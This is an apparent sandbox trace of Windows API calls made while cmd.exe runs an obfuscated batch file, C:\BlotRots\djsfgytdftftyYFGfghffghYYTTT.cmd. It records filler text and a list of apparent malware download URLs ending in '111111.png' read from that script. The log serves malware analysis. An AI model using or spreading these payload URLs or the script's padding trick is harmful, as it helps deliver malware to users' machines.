_wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0231.887] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0231.887] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0231.887] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0231.887] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0231.887] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0231.887] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0231.887] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0231.887] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0231.887] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0231.887] _wcsicmp (_String1="XP", _String2="START") returned 5 [0231.887] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0231.887] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0231.887] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0231.887] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0231.887] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0231.887] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0231.887] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0231.887] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0231.887] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0231.887] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0231.887] _wcsicmp (_String1="XP", _String2="FOR") returned 18 [0231.887] _wcsicmp (_String1="XP", _String2="IF") returned 15 [0231.887] _wcsicmp (_String1="XP", _String2="REM") returned 6 [0231.887] ??_V@YAXPEAX@Z () returned 0x1 [0231.888] GetProcessHeap () returned 0x20b0f920000 [0231.888] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957fe0 [0231.888] GetProcessHeap () returned 0x20b0f920000 [0231.888] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x7c) returned 0x20b0f956a30 [0231.888] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0231.888] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.888] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.889] GetProcessHeap () returned 0x20b0f920000 [0231.889] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fd0 [0231.890] SetErrorMode (uMode=0x0) returned 0x0 [0231.890] SetErrorMode (uMode=0x1) returned 0x0 [0231.890] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967fe0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0231.890] SetErrorMode (uMode=0x0) returned 0x1 [0231.890] GetProcessHeap () returned 0x20b0f920000 [0231.890] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fd0, Size=0x3e) returned 0x20b0f967fd0 [0231.890] GetProcessHeap () returned 0x20b0f920000 [0231.890] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fd0) returned 0x3e [0231.890] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.890] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.890] GetProcessHeap () returned 0x20b0f920000 [0231.890] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0231.890] GetProcessHeap () returned 0x20b0f920000 [0231.890] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0231.890] GetProcessHeap () returned 0x20b0f920000 [0231.891] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0231.891] GetProcessHeap () returned 0x20b0f920000 [0231.891] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0231.891] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.891] GetProcessHeap () returned 0x20b0f920000 [0231.891] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947550 [0231.891] GetProcessHeap () returned 0x20b0f920000 [0231.891] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947550, Size=0x7e) returned 0x20b0f956ac0 [0231.891] GetProcessHeap () returned 0x20b0f920000 [0231.891] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956ac0) returned 0x7e [0231.891] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.891] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.891] GetLastError () returned 0x2 [0231.891] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.891] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.892] GetLastError () returned 0x2 [0231.892] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.892] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.892] GetLastError () returned 0x2 [0231.892] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.892] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.892] GetLastError () returned 0x2 [0231.892] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.892] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.893] GetLastError () returned 0x2 [0231.893] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.893] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.893] GetLastError () returned 0x2 [0231.893] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.893] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.893] GetLastError () returned 0x2 [0231.893] ??_V@YAXPEAX@Z () returned 0x1 [0231.894] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.894] GetFileType (hFile=0x54) returned 0x2 [0231.894] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0231.894] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0231.894] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.894] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0231.895] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.895] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'XP' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.895] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x5d) returned 1 [0231.900] ??_V@YAXPEAX@Z () returned 0x1 [0231.901] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.901] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0231.901] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.901] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0231.902] _get_osfhandle (_FileHandle=0) returned 0x4c [0231.902] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0231.902] SetConsoleInputExeNameW () returned 0x1 [0231.902] GetConsoleOutputCP () returned 0x1b5 [0231.902] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0231.902] SetThreadUILanguage (LangId=0x0) returned 0x409 [0231.903] ??_V@YAXPEAX@Z () returned 0x1 [0231.904] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.904] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.904] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.904] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4237, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x108d [0231.905] GetProcessHeap () returned 0x20b0f920000 [0231.905] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956ac0) returned 1 [0231.905] GetProcessHeap () returned 0x20b0f920000 [0231.905] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0231.905] GetProcessHeap () returned 0x20b0f920000 [0231.905] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0231.905] GetProcessHeap () returned 0x20b0f920000 [0231.905] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fd0) returned 1 [0231.906] GetProcessHeap () returned 0x20b0f920000 [0231.906] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956a30) returned 1 [0231.906] GetProcessHeap () returned 0x20b0f920000 [0231.906] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957fe0) returned 1 [0231.907] GetProcessHeap () returned 0x20b0f920000 [0231.907] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956880) returned 1 [0231.907] GetProcessHeap () returned 0x20b0f920000 [0231.907] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0231.907] GetProcessHeap () returned 0x20b0f920000 [0231.907] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0231.907] GetProcessHeap () returned 0x20b0f920000 [0231.907] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0231.909] GetProcessHeap () returned 0x20b0f920000 [0231.909] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94ac70) returned 1 [0231.909] GetProcessHeap () returned 0x20b0f920000 [0231.909] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928b90) returned 1 [0231.909] GetProcessHeap () returned 0x20b0f920000 [0231.909] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0231.909] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.909] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108d [0231.909] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x728, lpOverlapped=0x0) returned 1 [0231.909] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1096 [0231.909] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0231.909] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.910] GetFileType (hFile=0x9c) returned 0x1 [0231.910] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.910] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1096 [0231.910] GetProcessHeap () returned 0x20b0f920000 [0231.910] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.910] GetProcessHeap () returned 0x20b0f920000 [0231.910] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.910] _tell (_FileHandle=3) returned 4246 [0231.910] _close (_FileHandle=3) returned 0 [0231.911] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.911] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.911] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.911] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1096 [0231.911] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.911] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1096 [0231.911] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x71f, lpOverlapped=0x0) returned 1 [0231.911] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4255, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x109f [0231.911] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0231.912] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.912] GetFileType (hFile=0x9c) returned 0x1 [0231.912] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.912] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x109f [0231.912] GetProcessHeap () returned 0x20b0f920000 [0231.912] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.912] GetProcessHeap () returned 0x20b0f920000 [0231.912] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.912] _tell (_FileHandle=3) returned 4255 [0231.912] _close (_FileHandle=3) returned 0 [0231.912] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.912] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.912] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.912] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4255, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x109f [0231.913] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.913] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x109f [0231.913] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x716, lpOverlapped=0x0) returned 1 [0231.913] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4341, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10f5 [0231.913] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=86, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\r\n.3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 86 [0231.913] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.913] GetFileType (hFile=0x9c) returned 0x1 [0231.913] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.913] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10f5 [0231.913] GetProcessHeap () returned 0x20b0f920000 [0231.913] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.913] GetProcessHeap () returned 0x20b0f920000 [0231.913] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.914] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0231.914] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0231.914] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0231.914] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0231.914] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0231.914] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0231.914] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0231.914] GetProcessHeap () returned 0x20b0f920000 [0231.914] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0231.914] GetProcessHeap () returned 0x20b0f920000 [0231.914] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0231.914] GetProcessHeap () returned 0x20b0f920000 [0231.914] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa8) returned 0x20b0f926ea0 [0231.914] _tell (_FileHandle=3) returned 4341 [0231.914] _close (_FileHandle=3) returned 0 [0231.914] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0231.914] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.914] GetFileType (hFile=0x50) returned 0x2 [0231.915] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.915] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0231.916] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.916] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0231.926] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0231.926] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0231.926] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0231.926] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.926] GetFileType (hFile=0x50) returned 0x2 [0231.926] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.926] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0231.927] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.927] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0231.927] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.927] GetFileType (hFile=0x50) returned 0x2 [0231.927] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.927] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.928] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.928] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0231.928] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 76 [0231.928] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.928] GetFileType (hFile=0x50) returned 0x2 [0231.928] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.928] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0231.928] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.928] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4c) returned 1 [0231.929] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0231.929] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.929] GetFileType (hFile=0x50) returned 0x2 [0231.929] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.929] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.929] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.929] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0231.933] malloc (_Size=0xffce) returned 0x20b0fa60940 [0231.934] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0231.934] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.934] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.934] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.934] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.934] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.934] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.934] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.934] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.934] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.934] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.935] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.935] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.935] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.935] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.935] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.935] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.935] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.935] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.935] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.935] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.935] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.935] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.935] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.935] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.935] _wcsicmp 